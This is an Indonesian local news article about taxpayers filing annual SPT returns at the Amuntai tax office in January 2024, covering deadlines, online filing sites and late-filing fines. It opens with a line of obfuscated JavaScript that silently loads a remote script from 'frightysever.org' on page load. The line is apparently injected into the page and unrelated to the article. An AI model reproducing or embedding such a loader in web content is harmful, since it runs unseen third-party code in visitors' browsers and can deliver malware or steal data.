(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Memasuki bulan Januari, tercatat kurang lebih 100 wajib pajak telah melakukan pelaporan Surat Pemberitahuan Tahunan (SPT) secara langsung di Kantor Pelayanan Penyuluhan dan Konsultasi Perpajakan (KP2KP) Amuntai dalam satu hari pelayanan.
Meski baru beberapa hari membuka pelayanan untuk pelaporan SPT, wajib pajak menunjukan antusiasme untuk datang secara langsung demi memenuhi kewajibannya.
Hal ini tentunya tidak mengherankan mengingat Januari 2024 merupakan bulan permulaan bagi wajib pajak untuk dapat melaporkan SPT Tahun 2023.
Baca juga: ‘Krisis’ Tata Kelola Keuangan Pemko Banjarmasin, Utang Proyek 2023 Rp300 Miliar Belum Dibayar
“Tercatat kurang lebih 100 wajib pajak telah melakukan pelaporan SPT tahun pajak 2023 secara langsung di KP2KP Amuntai dalam satu hari pelayanan,” ungkap Kepala KP2KP Amuntai, Rianto, Kamis (11/1/2024).
Dirinya mengimbau kepada para wajib pajak agar segera memenuhi kewajiban dalam melaporkan SPT.
“Kami mengimbau kepada wajib pajak, baik orang pribadi dan wajib pajak badan di HSU agar dapat melaporkan SPT tahunannya, lebih awal, lebih nyaman” kata Rianto.
Baca juga: Haru Warnai Kenal Pamit Kapolres HSU
Ia menambahkan, pada pelaporan SPT sendiri selain dapat dilakukan secara langsung di kantor pajak, wajib pajak juga dapat memanfaatkan layanan pelaporan secara online melalui laman djponline.pajak.go.id.
“Tentunya akan memudahkan wajib pajak untuk dapat melakukan pelaporan SPT dimana pun dan kapan pun,” jelasnya.
Selain pelaporan SPT, layanan lainnya yang dapat diakses oleh wajib pajak secara daring di antaranya yakni layanan Pendaftaran NPWP melalui laman ereg.pajak.go.id.
Baca juga: Bupati Saidi Lantik 4 Pejabat Baru, Ini Nama-namanya
Lebih lanjut Kepala KP2KP Amuntai menuturkan, adapun batas waktu pelaporan SPT tahunan bagi wajib pajak orang pribadi yaitu mulai 1 Januari hingga 31 Maret, sedangkan batas waktu bagi wajib pajak badan dari 1 Januari hingga 30 April.
“Bahwa bagi wajib pajak yang tidak melaporkan SPT akan dikenakan sanksi berupa denda Rp100.000 bagi orang pribadi dan wajib pajak badan Rp1 juta, jadi mari laporkan SPT Tahunannya pada tanggal yang telah ditentukan, karena melalui pajak kita dapat bergotong royong untuk bersama membangun negara,” tutupnya.(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.